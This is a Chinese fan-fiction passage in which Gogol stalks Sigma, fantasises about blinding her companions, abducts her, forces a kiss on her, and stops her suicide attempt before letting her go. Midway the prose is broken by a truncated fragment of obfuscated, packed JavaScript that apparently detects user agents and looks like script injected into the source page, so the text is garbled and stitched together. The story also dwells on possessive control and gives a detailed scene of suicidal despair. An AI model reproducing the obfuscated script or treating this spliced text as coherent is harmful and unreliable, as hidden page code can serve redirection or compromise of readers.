他看着她微微侧头,对旁边座位上那个戴眼镜的严肃男人国木田独步说了句什么,然后接过一叠新的文件。 她的表情很专注,指尖划过纸面,偶尔会停顿一下,似乎在思考。 阳光在她的睫毛上跳跃,投下细小的阴影。 然后,她似乎遇到了一个小问题,眉头轻轻蹙起。 那个熟悉的、细微的蹙眉动作,让果戈里的指尖无意识地收紧了。 但下一秒,那个银发少年中岛敦探过头来,指着文件说了几句话。 西格玛听着,然后,她点了点头,唇角非常轻微、却又无比清晰地,向上弯了一下。 一个浅浅的微笑。 果戈里的瞳孔骤然收缩。 镜头牢牢锁定在那个瞬间。那个笑容很淡,几乎转瞬即逝,很快就被专注工作的神情取代。 但它确实存在过。 像阴霾天空下偶然漏出的一线微光,短暂,却真实地照亮了她的面容。 果戈里维持着举着望远镜的姿势,很久都没有动。 记忆的潮水轰然倒卷。 他记忆里的西格玛是什么样子的? 安全屋里,她总是微微蹙着眉。 面对他自己和费奥多尔施加的、无形却沉重的压力。 她像一根绷紧的弦,美丽,脆弱,仿佛随时会因过载而崩断。 更多的时候,他印象中的西格玛……总是在流泪。 无声的,或是压抑着哽咽的。泪水滑过她苍白的脸颊,滴落在华贵的地毯上,或是她自己的手背上。 那些泪水里盛满了茫然、恐惧、被掌控的无力,以及深不见底的孤独。 在他——果戈里面前,西格玛几乎没有笑过。 一次都没有。 只有警惕,恐惧,厌恶,或是彻底的、死寂般的沉默。 偶尔在提及米哈伊尔和娜塔莉娅时,她眼中会掠过一丝极其稀薄的、属于“过去”的微光,但那光芒也很快会被现实的阴霾吞噬。 那吝啬的、几乎不曾对他展露过的笑颜,似乎只有在他们短暂的、关于“家庭”的幻梦破裂之前。 在那个同样脆弱却彼此依偎的小小空间里,因为娜塔莉娅稚嫩的笑语或米哈伊尔笨拙的关怀,才会极其偶然地闪现。 为什么? 为什么你对他们——对这些武装侦探社的人——就能展露这样的笑容? 这个念头如同冰冷的针,猝不及防地刺入了他灼热的注视与失而复得的狂喜之中。 不是质问,而是一种更加晦暗、更加缠绕的思考。 他看着窗内的西格玛,她似乎已经完全沉浸在工作里,侧脸宁静,甚至带着一种他从未见过的……安稳。 那种“安稳”刺痛了他。 比她的死亡更让他难以忍受。 死亡是终结,是可以用疯狂的祭奠或执着的寻找来应对的。 而此刻她呈现出的这种“活着”的状态,在这种他完全陌生的环境里,与这些他视为“舞台背景”或“障碍物”的人相处,露出他所未曾拥有过的平静甚至微笑。 这种“活着”,更像是一种无声的宣告,宣告着他与她之间那段充斥着操控、泪水、疯狂与扭曲眷恋的过去,正在被一种截然不同的“日常”覆盖、稀释。 他迫切想要见面的、想要确认的“鲜活”,此刻就在眼前,却以一种他未曾预料、也未必理解的方式“鲜活”着。 那份因“她还活着”而沸腾的急迫,如同被浇入冰水的熔岩,在嘶鸣中迅速冷却、沉淀。 取而代之的,是一种更加粘稠、更加黑暗、也更加耐心的情绪。 他放下了望远镜。 银霜色的眼瞳在阴影中晦暗不明,先前燃烧的火焰并未熄灭,而是沉入了更深的眼底,转化为一种冷静的、近乎捕食前的观察。 贸然上前?不。 那太无趣了,也太……危险。不是对他自己,而是对这场“重逢”。 他需要看清,需要理解。 为什么她会笑?是什么让她露出了那样的表情? 是那个总缠着她的白发少年?是那个总是一脸严肃却似乎对她颇多关照的男人?还是……那个带走她的、太宰治? 她在这里,找到了什么?得到了什么? 是什么,取代了天空赌场,取代了费奥多尔,甚至……取代了他果戈里在她生命中的位置? 他需要知道答案。 在重新编织属于他和她的“魔术”之前,他必须成为最了解她现状的观众。 果戈里的嘴角,缓缓勾起一个与周遭明媚阳光格格不入的、冰冷而兴味的弧度。 那弧度里没有暖意,只有探究、算计,以及一丝被深深掩藏的、连他自己或许都未曾完全察觉的刺痛与不甘。 于是,他隐匿了身形,如同真正融入背景的影子,开始了他的观察。 日复一日。 他看着西格玛清晨与那个鸢色眼睛的男人太宰治并肩走出公寓,手里有时会提着便当袋。 两人的步伐并不亲密,却有一种奇怪的协调感。 太宰治会说着什么,西格玛偶尔会侧头看他,脸上没什么特别的表情,但眼神很平静。 他看着西格玛在侦探社里工作。她似乎很擅长文书,效率惊人。 这和他记忆中,总是处理着情报的西格玛一样。 那个叫国木田的男人对她颇为赞赏,甚至会将自己的一些核心工作交托给她。 她会认真完成,偶尔遇到难题,会去请教,得到解答后会轻轻点头,有时还会露出那种极淡的、却让果戈里指尖发冷的微笑。 他看着午休时,她会和几个人一起在休息区吃便当。 她做的便当看起来简单却精致。 太宰治会凑过去,毫不客气地夹走她饭盒里的菜,而她只是看着,又夹起一块递给他。 那个叫泉镜花的黑衣少女会默默坐在她旁边,小口吃着东西,偶尔西格玛会将自己便当里的玉子烧夹给她。 他看着黄昏时分,她和太宰治一起下班,偶尔会去超市采购。 她会仔细挑选食材,太宰治则推着购物车,往里面扔一些明显不必要的零食。 付钱时,有时是她,有时是他,有一种自然而然的随意。 他看着她似乎慢慢融入了这个地方。 她的眉头不再总是紧蹙,她的脊背不再总是绷紧如临大敌。 她的眼神里,那种深不见底的恐惧与茫然,似乎被一种缓慢滋生的、细微的安宁所取代。 她还是脆弱的,美丽的,像易碎的琉璃。 但在这看似普通的日常里,这琉璃似乎被一种无形的、柔和的东西承托着,不再处于随时坠落的边缘。 果戈里静静地观察着这一切。 像一个幽灵,旁观着一场与他无关的、温暖默剧。 每一次看到她的笑容,每一次看到她与旁人的自然互动,每一次感受到她身上散发出的那种逐渐累积的“安稳”。 他胸腔里那片被希望点燃的火焰,就会与另一种冰冷的、晦暗的东西交织、撕扯。 他想念她。疯狂地想念那个只存在于他记忆和执念中的、哭泣的、脆弱的、完全属于“过去”的西格玛。 他渴望触碰她,确认她的存在,用他的方式重新将她拉回他的世界,他的“魔术”。 但眼前这个会微笑的西格玛,这个逐渐在陌生土壤里扎根的西格玛,让他感到一种前所未有的……距离。 这距离不是空间上的,而是某种更深层的东西。 仿佛他记忆里的那个西格玛,正在被眼前这个西格玛缓慢地覆盖、修正。 而他,被隔绝在了这个修正过程之外,只能做一个无力的旁观者。 这种认知让他沉淀下去的急迫,逐渐发酵成一种更加复杂难言的情绪。 它混合着嫉妒,不解,一种被排除在外的焦躁,以及……一丝连他自己都不愿承认的、细微的动摇。 或许,这样的她……也不错? 这个念头刚冒出来,就被他狠狠掐灭。 不,不对。她的归宿,她的笑容,她的鲜活,都应该只与他相关,只在他所认可的“自由”或“束缚”的剧本里上演。 而不是在这个平凡的、充满“日常”温情的侦探社里,为一个与他无关的故事,展露笑颜。 观察仍在继续。 果戈里像最耐心的猎人,也是最困惑的观众。 他收集着关于她新生活的每一个细节,试图拼凑出她转变的原因,也试图在其中,找到那个属于他的、可以重新介入的缝隙。 他要知道,是什么让她改变。 他要知道,如何才能让她的目光,重新只为他而牵动。 他要知道,当“重逢”真正来临时,他该献上怎样的“魔术”,才能让这场中断的戏码,按照他的剧本,走向真正的高潮。 横滨的天空下,阴影中的小丑静静潜伏,银霜色的眼瞳一瞬不瞬地凝视着光明处的少女。 等待,是为了更完美的登场。 而心的某处,那沉淀下去的渴望,正在冰冷的观察中,悄然滋生出更加复杂、更加偏执的形态。 果戈里的观察在继续,日复一日,如同最严苛的审判官,检视着西格玛在横滨的每一寸光阴。 每一个细微的表情,每一次自然的互动,都像一根根细小的针,扎入他眼中,刺进他心里。 起初那失而复得的狂喜与灼热的希望,在这日积月累的“旁观”中,渐渐被另一种更粘稠、更黑暗的情绪浸润、发酵。 尤其是她的笑容。 那浅淡的,转瞬即逝的,却真实存在的笑意。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有那双……总是缠绕着绷带、却仿佛能看透一切、此刻正理所当然地存在于她生活之中的鸢色眼睛——那里面,更应该只留下永恒的、空洞的黑暗。 多么“公平”啊。 他们用眼睛,窃取、分享了他未曾拥有的珍宝。 那么,夺走他们窥视的工具,岂不是最恰当的“回礼”? 让他们沉入无光的深渊,再也无法从她那里汲取丝毫的光亮与温暖。 让西格玛的笑容,从此失去这些“错误”的接收者,变成一座只有他知晓、只有他能“欣赏”的孤岛。 这个念头带来一阵战栗般的快意,尖锐而冰冷。 它像一幅黑暗的版画,在他脑海反复勾勒。 锋利的指尖划过眼球的触感,温热血液的迸溅,猝不及防的剧痛与永恒的黑暗降临在他们脸上…… 而西格玛,她会是什么表情? 惊恐?崩溃?还是……终于,那双美丽的淡粉色眼瞳里,会重新只倒映出他一个人的身影,只剩下对他的恐惧、憎恨,或者……别的什么? 无论是什么,那都将是最纯粹、最不受干扰的,只属于他们之间的连接。 这幻想如此清晰,几乎带着甜美的血腥气,暂时抚平了他因观察而累积的烦躁与刺痛。 它给了他一种扭曲的掌控感——在无法立刻将她夺回的现实中,至少可以在想象里,先行清除那些“碍眼”的存在。 然而,理智,或者说,他那套属于小丑的、追求戏剧性“完美”的偏执逻辑,很快按下了这血腥的冲动。 不,还不是时候。 刺瞎眼睛,固然是一种极具象征意义的惩罚与净化,但现在去做,太早了,也太……粗糙。 那会吓跑她,会彻底毁掉目前这种脆弱的、可供观察的平衡。 他要的不是一场仓促的、仅止于□□破坏的报复。 他要的是更彻底的“修正”。 他要让她心甘情愿回到他的舞台,他要让那些多余的色彩从她生命中被剥离。 不是通过物理的剥夺,而是通过……让她自己意识到,唯有在他的世界里,她的存在才具有真正的、激烈的、不被庸常稀释的意义。 刺瞎他们的眼睛,可以成为结局的一部分,一场盛大“魔术”的某个残酷环节,但不应是开幕。 于是,那黑暗的念头被强行按捺下去,沉入心底最晦暗的角落,继续滋养,等待更成熟的时机。 它没有消失,反而成了他观察时一种隐秘的、残酷的注解。 每当他看到西格玛对某人微笑,那“刺瞎”的幻象便会一闪而过,带来瞬间冰冷的快意与更深的焦渴。 他的观察因此变得更加专注,也更加冰冷。 目光扫过那些“碍眼”的面孔时,银霜色的眼底会掠过一丝几乎无法察觉的、评估般的寒意,仿佛在内心早已为他们安排好了在“终幕”时的位置与结局。 西格玛依旧在阳光下,在那些他视为“障碍”的人群中,过着看似平静的生活,展露着他所陌生的微笑。 而阴影中的果戈里,将那份扭曲的占有欲与破坏欲,仔细折叠,收藏进小丑华服的内衬。 脸上重新挂起的是纯粹的、猎手般的耐心,与观众般的兴味。 只是那银霜色的十字瞳仁深处,偶尔闪过的光,已不再仅仅是寻找缝隙的冷静,更带上了一种为未来“清扫舞台”的、无声的残酷决意。 他等待的,不仅仅是一个重逢的时机。 更是一个能将她的世界重新调回“正确”轨道,让所有错误的色彩,都彻底湮灭的,完美的时刻。 —————— 果戈里安静地观察着,等待着,就像是一个见不得光的偷窥者。 直到那一天。 阳光正好,透过超市巨大的落地窗,将货架间的通道切割成明暗交错的格子。 西格玛推着购物车,正站在冷藏柜前,仔细比较着两种酸奶的保质期。 太宰治懒洋洋地靠在旁边的货架上,手里拿着一罐蟹肉罐头,正用那种惯常的、带着点戏谑的语调说着什么,大概是关于“酸奶与蟹肉罐头的哲学性共存可能”。 西格玛听着,没有抬头,只是嘴角不受控制地、极其轻微地向上弯了一下。 那是一个几乎看不见的弧度,带着点无奈,又似乎有一点……连她自己都未曾察觉的、对这份荒谬对话的微弱纵容。 就是这一个细微到几乎可以忽略的弧度。 透过货架缝隙,精准无误地刺入了远处阴影中,那双银霜色的眼瞳。 果戈里站在一排高耸的货架尽头,身形几乎与阴影融为一体。 他看到了。 看到了她侧脸柔和的线条,看到了她睫毛垂下时投在脸颊的淡淡阴影,看到了她指尖停顿在酸奶包装上的细微动作。 更看到了,那个该死的、因太宰治而起的、极淡却真实的笑意。 胸腔里,那连日来被压抑、被冷却、被扭曲滋长的黑暗情绪,如同被瞬间投入火星的油池,轰然爆燃! 不再是缓慢侵蚀的刺痛,不再是冰冷的评估与算计。 而是一种纯粹的、滚烫的、几乎要将他理性焚尽的嫉妒! 像毒藤骤然绞紧了心脏,又像烧红的铁钎狠狠捅入那片名为“占有”的领域。 不要再对他笑了。 不要再对任何人笑了。 尤其是,不要在他面前,对那个男人笑! 那笑容应该是……应该是只属于他的战利品,是他疯狂魔术中即将摘取的、带刺的玫瑰,是他要重新涂抹上只属于他的色彩的唯一画布! 而不是在这里,在这庸俗的超市灯光下,因为一句无聊的玩笑,就轻易奉上的廉价点缀! 够了。 观察到此为止。 他不想再做一个沉默的、痛苦的观众,看着她在他人的剧本里,露出不属于他的表情。 他要登台。现在。立刻。 他要打断这场错误的演出,将她拉回他的帷幕之后。 果戈里的异能无声发动。 西格玛正伸手去拿选定的一盒酸奶,指尖还未触及冰冷的包装。 周遭的空气突然泛起一阵肉眼难以察觉的、水波般的诡异涟漪。 她全身的肌肉下意识地绷紧,紫灰色的瞳孔骤然收缩,一种源自记忆深处的、对异常空间的恐惧本能地攫住了她。 这不是攻击,而是……果戈里的异能! 下一秒,一只戴着棕色手套的手,从她身后那片扭曲的空气中突兀地伸出。 精准而不容抗拒地扣住了她的手腕。那触感冰凉,力道却大得惊人。 “什——?!” 惊呼还未完全出口,一股无法抗拒的拖拽力传来。 西格玛只觉得眼前一花,货架、灯光、太宰治的身影……所有属于“超市”的景象如同被橡皮擦抹去的铅笔画,瞬间褪色、消失。 取而代之的是一片失重般的、色彩颠倒流动的虚空,耳边只剩下空间被撕裂又重组时发出的、无声的轰鸣,以及自己骤然加速的心跳。 一切发生得太快,从空间涟漪出现到西格玛消失,不过短短一两个呼吸。 太宰治拿着蟹肉罐头的手指微微一顿。 他话说到一半,察觉到身侧气息的突兀变化,几乎是同时转过头。 原本西格玛站立的位置,空空如也。 购物车还停在原地,里面放着几样选好的商品,那盒她刚刚要去拿的酸奶孤零零地躺在冷藏柜的架子上。 空气里还残留着她身上淡淡的、清浅的气息,但人已经不见了。 没有任何打斗痕迹,没有惨叫,没有异能发动的明显光影效果。 除了那一瞬间,极其细微的、几乎被超市环境噪音掩盖的空间波动。 太宰治脸上的慵懒和戏谑如同潮水般褪去,鸢色的眼睛在瞬间沉静下来,深处掠过一丝冰冷的锐利。 他缓缓放下手中的罐头,目光扫过空无一人的地面,又抬起,看向超市熙攘的人群,没有任何异常的骚动。 仿佛西格玛的消失,只是他一个人的幻觉。 但太宰治知道不是。 这种毫无征兆、原地消失的方式,结合西格玛的来历和最近的“平静”…… “啊。” 他轻轻地吐出一个音节,声音里听不出太多情绪,但嘴角那惯常的、微微上扬的弧度已经彻底拉平。 他的目光落在西格玛消失前最后停留的那片空间,眼神深不见底。 根据“突然消失”这一线索,以及那微弱到几乎无法捕捉的空间系异能残留…… 是果戈里。 那个天人五哀的小丑,费奥多尔曾经的“挚友”,理论上应该已经随着那场爆炸和费奥多尔的死亡而沉寂下去的危险人物。 他带走了西格玛。 在这个最平常的午后,在最缺乏防备的日常场景里,像一场精准而傲慢的魔术表演,将他眼前的人,凭空变走了。 太宰治站在原地,周围是超市里喧闹的人声和明亮的灯光,但他周身的气场却仿佛瞬间与这日常隔绝,陷入了一片冰冷的寂静。 他微微眯起眼睛,鸢色的瞳孔深处,有什么复杂的东西在飞速盘算、凝聚。 平静的日常,被打破了。 而这场突如其来的“失踪”,显然,只是一个盛大序幕的,仓促开端。 31. 噩梦 果戈里的异能飞速移动,周围的景象如同被撕碎的彩色胶片般向后飞掠,混沌、失重、短暂的黑暗交替闪现,最后猛地一定。 夕阳的余晖毫无遮挡地泼洒下来,将一切都染成了温暖而虚幻的金红色。 这里似乎是横滨郊外一处废弃的码头或工厂边缘,远处有生锈的集装箱和废弃的机械,脚下是裂缝里长出荒草的水泥地。 咸湿的海风带来远处海浪的声响,除此之外,一片静谧,杳无人迹。 西格玛只觉得双脚刚踏上实地,一阵眩晕尚未散去,整个人便被一股巨大的力量狠狠扯进一个怀抱。 嗅觉比意识先一步的清醒,随后感受到的是近乎潜意识般的恐惧。 那怀抱坚硬、滚烫,带着她曾无比熟悉的、却又因时间与变故而变得陌生的气息。 魔术道具的淡淡硝石味,某种冷冽的香水尾调,以及一种近乎癫狂的体温。 她的背脊撞上对方胸膛的瞬间,骨骼都似乎在抗议。 “果戈里!?” 惊魂未定的她下意识喊出这个名字,声音因空间的急速转换和突如其来的禁锢而微微发颤。 淡粉色的眼瞳在看清眼前人银白的发丝和那身标志性的黑白小丑装扮时,瞬间被纯粹的惊恐与难以置信填满。 他怎么还会来找她? 费奥多尔的计划失败了,天空赌场崩塌了,她这个“管理者”、这颗曾经或许还有用的“棋子”,按理说已经失去了所有价值。 一个没有价值的造物,一个被遗弃的“错误”,为什么还会被这个疯狂的小丑重新找到? 恐惧如同冰冷的藤蔓缠绕住心脏,紧接着,一种荒诞的困惑缓缓涌上心头。 果戈里没有回答,只是用尽全力搂紧她,手臂像铁箍一样缠绕在她的腰间和后背,力道大得仿佛要将她的肋骨勒断,要将她整个人揉碎、压进自己的骨血之中。 他的脸埋在她的颈侧,温热的呼吸喷在她冰凉的皮肤上,激起一阵战栗。 那不是一个久别重逢的拥抱,而更像一种绝望的确认,一种野兽找回失落珍宝时近乎毁灭性的占有。 “啊哈……” 一声满足的、带着震颤的叹息,滚烫地烙在她的耳畔。 他银色的发丝蹭过她的脸颊,带来一丝微痒,却只让她更加僵硬。 “我找到你了。” 这声音轻快得像是在宣布一个游戏结果,却又沉得如同最终审判的落槌。 简单的五个字,在西格玛听来,却宣告了她所有侥幸与逃避的终结。 “西格玛应该叫我科里亚哦。” 他的声音闷闷地从她颈边传来,带着一种孩子气的、却令人毛骨悚然的强调,仿佛在纠正一个重要的错误。 这个昵称像一根冰冷的针,刺穿了西格玛混乱的思绪,瞬间将她拉回那些被掌控、被摆布的、充满表演与虚假温情的过去片段。 “捉迷藏,是我赢了。”果戈里微微抬起头,银霜色的十字瞳仁近在咫尺地凝视着她因惊恐而放大的瞳孔,里面翻涌着她看不懂的、激烈到可怕的情绪,“这是我应得的奖励。” 话音未落,他的吻已经落了下来。 那不是温柔的触碰,也不是欲望的索取,而更像是一种蛮横的宣告与烙印。 带着滚烫的温度和不容置疑的力道,封住了她所有未出口的惊呼与质问。 唇齿间是他炽热的气息,还有一丝淡淡的、铁锈般的味道。 这个吻里充满了太多东西:失而复得的狂喜、积压已久的嫉妒、扭曲的占有、以及一种近乎自我毁灭般的执着。 没有什么比这个吻更让西格玛感到窒息的了。 不是生理上的,而是心理上的全面崩溃。 空气被剥夺,理智被碾碎,所有在武装侦探社小心翼翼重建起来的平静假象,所有试图远离过去的努力,都在这个熟悉的、却比以往任何一次都更可怕的禁锢与亲吻中,化为齑粉。 冰冷彻骨的寒意从脊椎窜起,瞬间蔓延至四肢百骸。 她先是僵住,如同被冻结的雕像,任由那滚烫的唇舌肆虐。 然后,求生般的本能猛地炸开! 她开始用尽全身力气挣扎,手推,脚踢,头向后仰试图摆脱,喉咙里发出困兽般的呜咽。 果戈里似乎早预料到她的反抗,手臂收得更紧,吻也更加深入而强硬,像要借此吞没她所有的抗拒。 直到西格玛几乎因缺氧和恐惧而脱力,他才稍稍松开了些许钳制,但并未完全放开她,银霜色的眼睛牢牢锁着她苍白惊恐的脸。 “费奥多尔还活着哦。” 他忽然开口,声音轻快得像在分享一个有趣的秘密。 这句话像一块巨石投入本已翻腾的心湖,激起的不是新的惊涛骇浪,而是将一直沉在湖底的、最黑暗的淤泥彻底搅翻上来。 西格玛的瞳孔猛地一缩,挣扎的力气瞬间流失。 她知道。 看到费奥多尔记忆的她,清楚的知道费奥多尔现在还活着。 武装侦探社或许给了她片刻虚幻的安宁,但恐惧的根须早已深植。 此刻被果戈里如此直白、近乎戏谑地提起,那刻意压抑的、日日夜夜啃噬内心的知晓,化作了更尖锐、更窒息的痛苦。 不是突如其来的震惊,而是旧伤被血淋淋撕开的、熟悉的剧痛。 “为什么……”她声音沙哑,眼神涣散,仿佛不是在问果戈里,而是在质问命运,“还要提他……为什么还要提醒我……” 果戈里闻言,嘴角勾起一抹满意的弧度,那笑意漫过唇角,却半点未抵达眼底。 他在心里漫不经心地想着:你更讨厌,更恐惧他,对吧? 可这念头刚落,又莫名涌上一丝不爽——这是不是证明,他在你心里占据的位置,要比我要多? “或许……要再次见到活着的费奥多尔了,怎么办呢,西格玛?” 果戈里歪着头,语气近乎天真,却字字如刀,精准地碾过她最脆弱的神经,“怎么办,怎么办,怎么办——?” “住口!”她几乎是尖叫出声,泪水不受控制地涌上眼眶,“我知道……我一直都知道!所以呢?所以我又要回到那个噩梦里去了吗?就因为我还‘活着’?一个没有价值的失败品……!” “为什么……为什么你们都不肯放过我?!” 巨大的绝望和无力感像山一样压下来。 费奥多尔还活着……这个她一直逃避却心知肚明的事实,此刻被果戈里残忍地晾晒在夕阳下,抽空了她所有伪装的力气和那点点“新生活”的虚幻希望。 她存在的意义似乎再次被否定,只剩下无尽的循环的噩梦。 “我不想在这个世界……”她喃喃着,眼神彻底涣散,像是灵魂正在从躯体中剥离,“一个连存在本身都是错误的人……我想自由……我感觉我的承受能力到极限了……好痛苦,好痛苦……” 好想死掉…… 她的身体顺着果戈里手臂的禁锢,缓缓向下滑落,最终跪倒在冰冷粗糙的水泥地上。 起初是压抑的、破碎的呜咽,然后演变成歇斯底里的、又哭又笑,像坏掉的玩偶发出的噪音。 泪水汹涌而下,混合着尘土,在脸上冲出狼狈的痕迹。 最后,所有的声音都消失了,只剩下空洞的眼神和死寂般的神情,仿佛所有的情绪都在那一瞬间燃烧殆尽,只余灰烬。 早就该预料到的,不是吗?她对自己说。 自由从来都是奢望,短暂的安宁不过是幻觉。 一切又回到了原点,甚至更糟。 跪在地上的西格玛,手指无意识地摸索着自己米色大衣的内侧口袋。 那里有一个硬物,一直伴随着她,即使在看似平静的日子里也未敢真正离身。 一把冰冷的手枪。 她将它取了出来,动作缓慢却异常稳定,仿佛这个动作在心底演练过千百遍。 冰凉的金属触感让她混沌的意识有了一丝奇异的清明。 她握着枪,手指扣在扳机上,枪口先缓缓抬起,对准了身前的果戈里。 枪里还有一发子弹。 最后一发。她一直留着它,不是为了对付敌人,而是为了……这一刻。 果戈里脸上的笑容在看到她掏枪对准自己的瞬间变得更加夸张而疯狂,银霜色的眼瞳里闪烁着兴奋的光芒,仿佛在期待一场刺激的反击。 他以为,这绝望的挣扎终于要指向他了,这或许会是这场重逢中最有趣的高潮。 然而,西格玛的手指没有半分犹豫,手腕轻轻一转——枪口最终调转,对准了自己的太阳穴。 果戈里脸上的笑容,在这一瞬彻底凝固、僵死在了脸上。 十字形的瞳孔骤然收缩到针尖大小。 她……要对自己开枪? 那最后一发子弹……是留给她自己的? 西格玛的眼神空洞地望着前方,却又仿佛穿过了果戈里,看向了某个更遥远、更虚无的地方。 心中所感受到的,只有一种即将到来的、彻底的解脱。 唯一的牵挂……脑海中闪过米哈伊尔和娜塔莉娅稚嫩的面容,心脏猛地一抽,随即被更深的麻木覆盖。 真是抱歉啊……她默默地想,我不是合格的母亲。 下辈子……不要做我的孩子了。 就在她的手指扣下扳机的一刹那——“砰”的一声闷响,子弹擦着火光破膛而出。 果戈里几乎是在枪声响起的瞬间,瞳孔骤缩,下意识催动了异能,将手伸向披风里空间波动。 并非用于移动或攻击,而是一种极致的、精准的“置换”! 子弹的轨迹被强行扭曲,凭空消失在原地。 西格玛只觉得手中一空,那冰冷沉重的触感瞬间褪去。 定睛一看,手枪已经出现在果戈里抬起的手中,被他稳稳攥住,枪口歪向一旁。 而那颗本该没入她头颅的子弹,正静静躺在果戈里另一只手的掌心,还带着滚烫的温度。 “……这可真是一个惊吓啊。” 果戈里的声音有些干涩,先前所有的疯狂、戏谑、掌控感,都从这句话里消失了。 只剩下一种近乎空白的、后知后觉的震颤。 他低头看了看手中的枪与子弹,又抬头看向跪在地上、神情茫然的西格玛,银霜色的眼底有什么东西在剧烈地翻涌、碎裂。 西格玛愣愣地看着自己空空如也的手,又看向果戈里,眼神里是彻底的不解和更深的绝望。 “连……选择死亡的权利……都不给我吗?”她的声音轻飘飘的,像随时会散在风里。 泪水无知无觉地再次涌出,顺着她沾满尘土的脸颊滑落,一滴,两滴,悄无声息地砸在冰冷的地面上。 她没有再哭出声,只是安静地流泪,仿佛身体里最后一点水分和情感都在以此方式流失。 果戈里看着她无声的泪水,看着那双淡粉色眼瞳中破碎的光和深不见底的痛苦。 他夺下了她的枪,挡下了那枚子弹,阻止了她即刻的死亡,可然后呢? 他能用暴力禁锢她,能用言语刺激她,能用费奥多尔的存在折磨她……可他能给她什么? 除了更多的恐惧、痛苦、以及将他自己的扭曲爱恋强加于她之外,他能给她带来哪怕一丝一毫她真正渴望的“安宁”或“快乐”吗? 他救下她,难道是为了让她继续活在他的阴影下,生不如死? 这个认知像一盆冰水,浇灭了他心中因重逢和占有而燃起的熊熊烈焰,也刺痛了他内心深处那从未对人言说、连自己都未必清晰明了的角落。 或许……我只能带给你痛苦。 果戈里想。 可此刻的我……却荒谬地、真切地……想让你快乐。 哪怕那快乐,与我无关。 他看着她泪流满面、宛如失去灵魂躯壳般的模样,心中那扭曲的、黑暗的占有欲,与另一股更加陌生、更加让他无所适从的酸涩情感激烈冲撞着。 最终,后者以一种决绝的姿态,短暂地压倒了前者。 果戈里的脸上,第一次在西格玛面前,露出了悲伤的神色。 那神色褪去了所有小丑的伪装和疯狂的底色,显得异常清晰,也异常疲惫。 “去武装侦探社吧,西格玛。”他开口,声音低沉而平静,带着一种尘埃落定的沙哑,“离开这里。再也不要回来了。” 他顿了顿,直视着她茫然的眼睛,一字一句地说: “你自由了。” 这句话说出口的瞬间,果戈里感到胸腔里某个地方传来清晰的碎裂声。 但同时,也有一种奇异的、冰冷的轻松感蔓延开来。 如他所想,西格玛丢掉了费奥多尔,也丢掉了和他之间的一切牵绊,甚至……在刚才那一刻,她连和孩子们最后的牵绊也试图放下。 她是自由的。 至少在做出那个扣动扳机的决定时,在心灵最绝望的悬崖边,她选择了属于自己的、彻底的了断。 那何尝不是一种扭曲的、极致的自由? 我爱你。果戈里在心里无声地说。 所以你该是自由的。 不是困在我的笼中,不是活在我的阴影下,不是因我而痛苦,也不是为我而存在。 他比谁都清楚,她不适合待在自己身边。 他那炽热的、扭曲的、带着毁灭气息的爱恋,对她而言只会是又一道沉重的枷锁,只会将她更快地推向毁灭。 而西格玛……她也从来不想,不愿,不能呆在他身边。 那么,就让他来做那个解开锁链的人吧。 即使那锁链,是他自己亲手锻造,并一度以为会永远缠绕着她。 西格玛依旧愣愣的,仿佛无法理解他话语中的含义。 自由? 刚刚还要将她拖入深渊的人,此刻对她说“你自由了”? 果戈里没有再解释。 他俯下身,最后一次,轻轻地、飞快地吻了一下她的额头。 那是一个与之前截然不同的吻,很轻,很快,如同蝴蝶掠过花瓣,带着一种近乎告别的温柔,和一丝难以言喻的苦涩。 “你自由了。”他重复道,声音更轻,却异常清晰,“去迎接你的自由吧,我可爱的小鸟。” 说完,不等西格玛有任何反应,他猛地直起身,黑白相间的斗篷随着他的动作猎猎扬起,在夕阳的金红色光芒中划出一道决绝的弧线。 空间再次泛起熟悉的涟漪,这一次,果戈里的身影如同滴入水中的墨迹,迅速变得模糊、透明,最终彻底消失在西格玛的面前。 没有留下任何痕迹,只有空气中尚未完全平复的、细微的空间波动,以及地上那把被他随手丢弃、已经空了的枪。 西格玛依旧跪在原地,一动不动。 海风吹拂着她凌乱的长发和单薄的衣衫,夕阳将她的影子拉得很长,孤零零地印在荒凉的地面上。 泪水,不知何时已经停了。脸上只剩下干涸的泪痕和茫然。 她愣愣地重复着那个词,声音轻得像梦呓: “……自由?” —————— 果戈里使用异能,几乎是逃也似的飞快离开了那里。 空间的连续跳跃让他有些眩晕,但他毫不在意。 再次稳定身形时,他已经站在了一处偏僻的海边悬崖上。 脚下是嶙峋的黑色礁石,面前是辽阔无垠、被夕阳染成一片燃烧的金红与深邃的宝蓝的大海。 波涛阵阵,撞击着岩壁,发出永恒的轰鸣。 海风猛烈,吹得他银白的发丝和黑白斗篷疯狂舞动。 余晖将海面照耀得波光粼粼,如同洒落了无数破碎的金箔。 果戈里静静地望着那片海,望着那壮丽而孤寂的景色,脸上没有任何表情。 疯狂褪去,戏谑消失,连方才那片刻的悲伤也仿佛被海风吹散。 只剩下一种空茫的平静,和一种深入骨髓的疲惫。 再见了,我亲爱的恋人。 他在心中默默地说,没有发出任何声音。 他知道,自己的爱对西格玛来说,从来都只会是负担,是毒药,是又一道无法挣脱的枷锁。 所以,他从未对她吐露过只言片语的爱语。 那些翻涌在心底的、炽热到几乎要将他焚烧殆尽的执念、温柔、占有欲、以及连自己都无法完全理解的眷恋。 永远只藏在他疯癫的笑容、夸张的表演和扭曲的行动背后。 成为他一个人独享的秘密,也成为他一个人背负的罪孽。 这份无人知晓、也永无回应的爱恋,像一杯精心酿造却浸满了冰雪的甘涩烈酒。 初入口是灼烧喉咙的滚烫,咽下去是冻结五脏六腑的冰凉。 甜味稀薄得近乎幻觉,留下的只有无尽的苦涩与辛辣的回味。 果戈里将它一饮而尽。 独自一人,站在世界的边缘,面对苍茫的大海,独酌着这份属于自己的、无人能够共享、也无人能够剥夺的——爱恋的自由。 他不必在意她的回应,不必渴求对等的付出,不必担心这份感情会将她灼伤或压垮。 只需将这份爱藏在心底最深的角落,任由它无声地疯长、寂静地燃烧。 哪怕最终灼伤的、焚尽的,只有他自己。 这是他独有的、无人能干涉的、最后的、也是最初的……爱恋自由。 爱与不爱,说与不说,纠缠与放手,都只由他一人说了算。 爱情啊…… 果戈里望着海天相接处那最后一缕消逝的金光,无声地感慨。 就像一只真正自由的小鸟。 你无法将它关进笼中,即使关进去,它也会死去。 你只能看着它飞来,又看着它飞走。 它的美丽与歌声属于天空,属于风,属于它自己。 